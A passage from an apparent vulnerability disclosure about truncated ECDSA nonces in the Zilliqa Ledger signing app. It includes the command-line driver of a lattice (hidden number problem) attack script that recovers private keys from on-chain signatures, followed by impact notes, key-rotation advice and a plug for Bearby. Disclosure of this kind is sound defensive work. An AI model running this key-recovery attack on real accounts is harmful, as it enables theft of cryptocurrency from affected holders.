help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;signature as 128 hex (r‖s); repeat for each signature&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;--kbits&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> type</span><span style="color: #94E2D5;">=</span><span style="color: #CBA6F7;font-style: italic;">int</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> default</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">192</span><span style="color: #9399B2;">,</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;nonce upper bound in bits, k &lt; 2^kbits (default: 192)&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;--selftest&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> action</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;store_true&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;run the synthetic proof instead&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> args</span><span style="color: #94E2D5;"> =</span><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">parse_args</span><span style="color: #9399B2;">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> args</span><span style="color: #9399B2;">.</span><span>selftest</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #89B4FA;"> selftest</span><span style="color: #9399B2;">()</span><span>; sys</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">exit</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>args</span><span style="color: #9399B2;">.</span><span>pubkey</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 66</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;--pubkey must be 66 hex chars (compressed 02/03‖x)&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> pub</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> decomp</span><span style="color: #9399B2;">(</span><span>args</span><span style="color: #9399B2;">.</span><span>pubkey</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> h</span><span style="color: #CBA6F7;"> in</span><span> args</span><span style="color: #9399B2;">.</span><span>sig</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> h</span><span style="color: #94E2D5;"> =</span><span> h</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">strip</span><span style="color: #9399B2;">()</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>h</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 128</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&#39;--sig must be 128 hex chars (r‖s), got </span><span style="color: #F5C2E7;">{</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>h</span><span style="color: #9399B2;">)</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">h</span><span style="color: #9399B2;">[:</span><span style="color: #FAB387;font-style: italic;">64</span><span style="color: #9399B2;">],</span><span style="color: #FAB387;"> 16</span><span style="color: #9399B2;">),</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">h</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">64</span><span style="color: #9399B2;">:],</span><span style="color: #FAB387;"> 16</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if not</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">1</span><span style="color: #94E2D5;"> &lt;=</span><span> r</span><span style="color: #94E2D5;"> &lt;</span><span> N</span><span style="color: #CBA6F7;"> and</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> &lt;=</span><span> s</span><span style="color: #94E2D5;"> &lt;</span><span> N</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">error</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;r and s must be in [1, n-1]&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> sigs</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">((</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> leak</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 256</span><span style="color: #94E2D5;"> -</span><span> args</span><span style="color: #9399B2;">.</span><span>kbits</span></span> <span class="giallo-l"><span> need</span><span style="color: #94E2D5;"> = -</span><span style="color: #9399B2;">(</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">256</span><span style="color: #94E2D5;"> //</span><span> leak</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> if</span><span> leak</span><span style="color: #94E2D5;"> &gt;</span><span style="color: #FAB387;"> 0</span><span style="color: #CBA6F7;"> else</span><span style="color: #FAB387;"> 0</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&quot;═══ HNP LATTICE ATTACK (blind) ═══&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot;[*] </span><span style="color: #F5C2E7;">{</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> signatures, hypothesis: k &lt; 2^</span><span style="color: #F5C2E7;">{</span><span>args</span><span style="color: #9399B2;">.</span><span>kbits</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> &quot;</span></span> <span class="giallo-l"><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">&quot;(</span><span style="color: #F5C2E7;">{</span><span>leak</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> leaked bits/sig, need ≥ </span><span style="color: #F5C2E7;">{</span><span>need</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> sigs)&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> &lt;</span><span> need</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot;[!] WARNING: information-theoretically insufficient — expect failure&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">,</span><span> pub</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> bound_bits</span><span style="color: #94E2D5;">=</span><span>args</span><span style="color: #9399B2;">.</span><span>kbits</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot;</span><span style="color: #F5C2E7;">\n</span><span style="color: #A6E3A1;">🚨 PRIVATE KEY RECOVERED (blind, from (r,s) alone):&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot;🔑 d = </span><span style="color: #F5C2E7;">{</span><span>d</span><span style="color: #CBA6F7;">:064x</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot; d·G == device pubkey: True ← self-verified, key is correct&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&quot;</span><span style="color: #F5C2E7;">\n</span><span style="color: #A6E3A1;">[-] no key recovered. Meaning: EITHER no truncation (k is full&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&quot; 256-bit — healthy device), OR not enough signatures for the lattice.&quot;</span><span style="color: #9399B2;">)</span></span></code></pre> <p>Running against five signatures from an affected account recovers the full private key in <strong>~17 seconds</strong> on commodity hardware.</p> <h2 id="impact">Impact</h2> <ul> <li>Every account that has broadcast <strong>roughly one or more</strong> native ZIL Ledger-signed transactions is at risk; with a small handful of signatures, recovery is reliable.</li> <li>The leak is in <strong>historical, immutable</strong> on-chain data. <strong>Patching the app cannot undo it</strong> — any key that has already signed the vulnerable way should be considered compromised.</li> <li>Move funds from affected accounts to a <strong>freshly generated</strong> key that has never signed with the vulnerable app.</li> </ul> <h2 id="reflection">Reflection</h2> <p>A defect this severe, sitting untouched since 2019, is a governance and engineering-culture failure as much as a cryptographic one. Nonce handling is the single most safety-critical line in a signing implementation; it deserves adversarial review, not a truncation bug that ships for years.</p> <p>For contrast, <a rel="external" href="https://bearby.io">Bearby</a> takes key material seriously: <strong>512-bit complexity combined with ChaCha20 encryption</strong> for at-rest protection, and a non-custodial design where your keys never leave your control.</p> <p><em>Stay safe, rotate compromised keys, and always audit the nonce.</em></p>